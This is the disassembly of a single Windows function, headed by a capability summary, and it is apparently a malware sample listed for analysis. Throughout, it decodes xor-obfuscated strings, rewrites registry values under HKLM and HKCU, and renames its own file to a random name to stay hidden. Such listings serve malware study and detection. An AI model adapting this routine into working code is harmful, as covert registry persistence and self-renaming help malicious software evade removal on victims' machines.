Function at 0x324355d8
Capabilities:
Authenticate hmac
Encode data using xor
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x23dc
call fcn.32438510
mov ax, word [0x32439cb8]
push ebx
push esi
push edi
push 0x41
mov word [ebp - 0x1cc], ax
pop ecx
sub eax, eax
lea edi, [ebp - 0x1ca]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
rep stosd dword es:[edi], eax
and byte [ebp - 1], 0
push dword [0x324395cc]
stosb byte es:[edi], al
lea eax, [ebp - 0x1cc]
push eax
call ebx
lea eax, [ebp - 0x1cc]
push dword [0x324398b0]
push eax
call ebx
push 0x1c
pop eax
call fcn.32438510
mov dword [ebp - 0x28], esp
mov esi, dword [0x32439a54]
mov edi, dword [ebp - 0x28]
push 0x1b
pop ecx
lodsb al, byte [esi]
xor al, 0xbb
add al, 0x9b
stosb byte es:[edi], al
dec ecx
jne 0x32435642
push 0
push dword [ebp - 0x28]
push dword [0x3243a9b8]
call fcn.32435458
test eax, eax
je 0x324359b4
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x28], eax
mov esi, 0x3243938c
push dword [ebp - 0x28]
pop edi
mov ecx, 0x57
lodsb al, byte [esi]
xor al, 0x4e
add al, 0x96
stosb byte es:[edi], al
dec ecx
jne 0x3243567a
lea eax, [ebp - 0x34]
mov dword [ebp - 0x28], eax
push dword [0x3243934c]
pop esi
push dword [ebp - 0x28]
pop edi
mov ecx, 9
lodsb al, byte [esi]
sub al, 0x93
add al, 0xd6
stosb byte es:[edi], al
dec ecx
jne 0x32435699
mov esi, 0x80000002
lea eax, [ebp - 0xc4]
push esi
push eax
lea eax, [ebp - 0x23dc]
push 0x2000
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.3243456c
test eax, eax
je 0x324356e4
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x23dc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
and eax, eax
je 0x32435ab7
lea eax, [ebp - 8]
push eax
push 0x40000
lea eax, [ebp - 0xc4]
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
and eax, eax
jne 0x32435717
push dword [ebp - 8]
push 0x1f01ff
call fcn.32434844
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc4]
push esi
push eax
lea eax, [ebp - 0x1cc]
push 1
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.324353ac
and al, al
je 0x324359b4
cmp byte [ebp + 8], 0
mov byte [ebp - 1], 1
je 0x32435974
lea eax, [ebp - 0x2d4]
push dword [0x324395cc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x2d4]
push 0x5c
push eax
call fcn.32438270
mov edi, eax
pop ecx
and edi, edi
pop ecx
je 0x32435794
inc edi
push 0x3a
push edi
mov dword [ebp - 0x28], edi
call fcn.32438418
pop ecx
and eax, eax
pop ecx
je 0x3243579f
inc eax
jmp 0x3243579a
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x28], eax
mov edi, eax
xor esi, esi
call fcn.32438336
push 0xffffffffffffffe8
cdq
pop ecx
idiv ecx
add dl, 0x61
mov byte [edi + esi], dl
inc esi
cmp esi, 8
jl 0x324357a1
lea eax, [edi + esi]
mov byte [eax], 0x2e
and byte [eax + 1], 0
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
mov esi, dword [0x32439be0]
push dword [ebp - 0xc]
pop edi
mov ecx, 4
lodsb al, byte [esi]
add al, 0x96
sub al, 0xf4
stosb byte es:[edi], al
dec ecx
jne 0x324357d7
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], eax
push 0x32439624
pop esi
mov edi, dword [ebp - 0xc]
push 4
pop ecx
lodsb al, byte [esi]
xor al, 0x1b
add al, 0xef
stosb byte es:[edi], al
dec ecx
jne 0x324357f2
lea eax, [ebp - 0x24]
mov dword [ebp - 0xc], eax
mov esi, dword [0x324396c0]
push dword [ebp - 0xc]
pop edi
mov ecx, 4
lodsb al, byte [esi]
xor al, 0xf4
sub al, 0x9c
stosb byte es:[edi], al
dec ecx
jne 0x32435810
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov esi, dword [0x32439a0c]
push dword [ebp - 0xc]
pop edi
mov ecx, 4
lodsb al, byte [esi]
sub al, 0x1d
xor al, 0x15
stosb byte es:[edi], al
dec ecx
jne 0x3243582e
lea eax, [ebp - 0x20]
mov dword [ebp - 0xc], eax
push 0x32439b50
pop esi
push dword [ebp - 0xc]
pop edi
mov ecx, 4
lodsb al, byte [esi]
sub al, 0xc7
add al, 0x51
stosb byte es:[edi], al
dec ecx
jne 0x3243584c
lea eax, [ebp - 0x14]
mov dword [ebp - 0xc], eax
push 0x32439350
pop esi
push dword [ebp - 0xc]
pop edi
mov ecx, 4
lodsb al, byte [esi]
add al, 0xdf
xor al, 0x65
stosb byte es:[edi], al
dec ecx
jne 0x3243586a
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], eax
push dword [0x32439dd8]
pop esi
mov edi, dword [ebp - 0xc]
push 4
pop ecx
lodsb al, byte [esi]
sub al, 0x71
add al, 0x3a
stosb byte es:[edi], al
dec ecx
jne 0x32435886
lea eax, [ebp + 8]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
call fcn.32438336
push 7
xor edx, edx
pop ecx
div ecx
push dword [ebp + edx*4 - 0x54]
push dword [ebp - 0x28]
call ebx
lea eax, [ebp - 0x2d4]
push dword [0x324395cc]
pop esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
and eax, eax
je 0x32435974
mov ax, word [0x32439cb8]
push 0x41
mov word [ebp - 0x3dc], ax
pop ecx
sub eax, eax
lea edi, [ebp - 0x3da]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0x3dc]
push eax
call ebx
lea eax, [ebp - 0x3dc]
push dword [0x324398b0]
push eax
call ebx
lea eax, [ebp - 0xc4]
push 0x80000002
push eax
lea eax, [ebp - 0x3dc]
push 1
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x3dc]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.324353ac
test al, al
je 0x32435966
lea eax, [ebp - 0x2d4]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
jmp 0x32435974
lea eax, [ebp - 0x2d4]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
lea eax, [ebp - 8]
push eax
push 0x40000
lea eax, [ebp - 0xc4]
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
and eax, eax
jne 0x32435c1a
push dword [ebp - 8]
push 0x20019
call fcn.32434844
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x32435c1a
cmp byte [0x3243a678], 0
je 0x32435ac0
lea eax, [ebp - 0x6c]
mov dword [ebp + 8], eax
push str.osnk
pop esi
mov edi, dword [ebp + 8]
push 0x36
pop ecx
lodsb al, byte [esi]
sub al, 0xc3
xor al, 0xff
stosb byte es:[edi], al
dec ecx
jne 0x324359d3
lea eax, [ebp - 0x34]
mov dword [ebp + 8], eax
push dword [0x32439e78]
pop esi
mov edi, dword [ebp + 8]
mov ecx, 9
lodsb al, byte [esi]
sub al, 0xa7
xor al, 0x86
stosb byte es:[edi], al
dec ecx
jne 0x324359f1
lea eax, [ebp - 0x6c]
push 0x80000002
push eax
lea eax, [ebp - 0x23dc]
push 0x2000
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.3243456c
and eax, eax
je 0x32435ac0
lea eax, [ebp - 0x23dc]
push eax
call fcn.324384a5
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x23dc]
push eax
call fcn.3243829c
add esp, 0xc
test eax, eax
jne 0x32435ab7
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp - 0x23dc]
push eax
call edi
or eax, eax
mov esi, dword [0x32439eb8]
je 0x32435a73
cmp byte [eax + ebp - 0x23dd], 0x2c
je 0x32435a73
lea eax, [ebp - 0x23dc]
push esi
push eax
call ebx
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x23dc]
push eax
call ebx
lea eax, [ebp - 0x23dc]
push esi
push eax
call ebx
lea eax, [ebp - 0x6c]
push 0x80000002
push eax
lea eax, [ebp - 0x23dc]
push 1
push eax
call edi
inc eax
push eax
lea eax, [ebp - 0x23dc]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.324353ac
test al, al
je 0x32435ac0
mov byte [ebp - 1], 1
jmp 0x32435c1a
lea eax, [ebp - 0x1cc]
push 0x5c
push eax
call fcn.32438270
mov esi, eax
pop ecx
or esi, esi
pop ecx
je 0x32435aea
inc esi
push 0x3a
push esi
call fcn.32438418
pop ecx
test eax, eax
pop ecx
je 0x32435af0
lea esi, [eax + 1]
jmp 0x32435af0
lea esi, [ebp - 0x1cc]
push esi
call fcn.32438472
push 0x2e
push eax
mov dword [ebp + 8], eax
call fcn.32438270
add esp, 0xc
test eax, eax
je 0x32435b0b
and byte [eax], 0
lea eax, [ebp - 0xb0]
mov dword [ebp - 0xc], eax
mov esi, dword [0x3243945c]
mov edi, dword [ebp - 0xc]
push pe_nt_image_headers32
pop ecx
lodsb al, byte [esi]
xor al, 0xa0
add al, 0xb1
stosb byte es:[edi], al
dec ecx
jne 0x32435b20
cmp byte [0x3243a67c], 0
je 0x32435b96
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp - 0xb0]
push 0x80000002
push eax
lea eax, [ebp - 0x1cc]
push 1
push eax
call ebx
inc eax
push eax
lea eax, [ebp - 0x1cc]
push eax
push dword [ebp + 8]
call fcn.324353ac
and al, al
jne 0x32435c0d
lea eax, [ebp - 0xb0]
push 0x80000001
push eax
lea eax, [ebp - 0x1cc]
push 1
push eax
call ebx
inc eax
push eax
lea eax, [ebp - 0x1cc]
push eax
push dword [ebp + 8]
call fcn.324353ac
test al, al
je 0x32435b9d
jmp 0x32435c0d
push dword [sym.imp.KERNEL32.DLL_lstrlenA]
pop ebx
lea eax, [ebp - 0x64]
mov dword [ebp - 0xc], eax
push dword [0x324398b4]
pop esi
mov edi, dword [ebp - 0xc]
mov ecx, 0x2e
lodsb al, byte [esi]
add al, 0x23
sub al, 0xc1
stosb byte es:[edi], al
dec ecx
jne 0x32435bb2
lea eax, [ebp - 0x64]
push 0x80000002
push eax
lea eax, [ebp - 0x1cc]
push 1
push eax
call ebx
inc eax
push eax
lea eax, [ebp - 0x1cc]
push eax
push dword [ebp + 8]
call fcn.324353ac
test al, al
jne 0x32435c0d
lea eax, [ebp - 0x64]
push 0x80000001
push eax
lea eax, [ebp - 0x1cc]
push 1
push eax
call ebx
inc eax
push eax
lea eax, [ebp - 0x1cc]
push eax
push dword [ebp + 8]
call fcn.324353ac
test al, al
je 0x32435c11
mov byte [ebp - 1], 1
push dword [ebp + 8]
call fcn.32438368
pop ecx
mov al, byte [ebp - 1]
lea esp, [ebp - 0x23e8]
pop edi
pop esi
pop ebx
leave
ret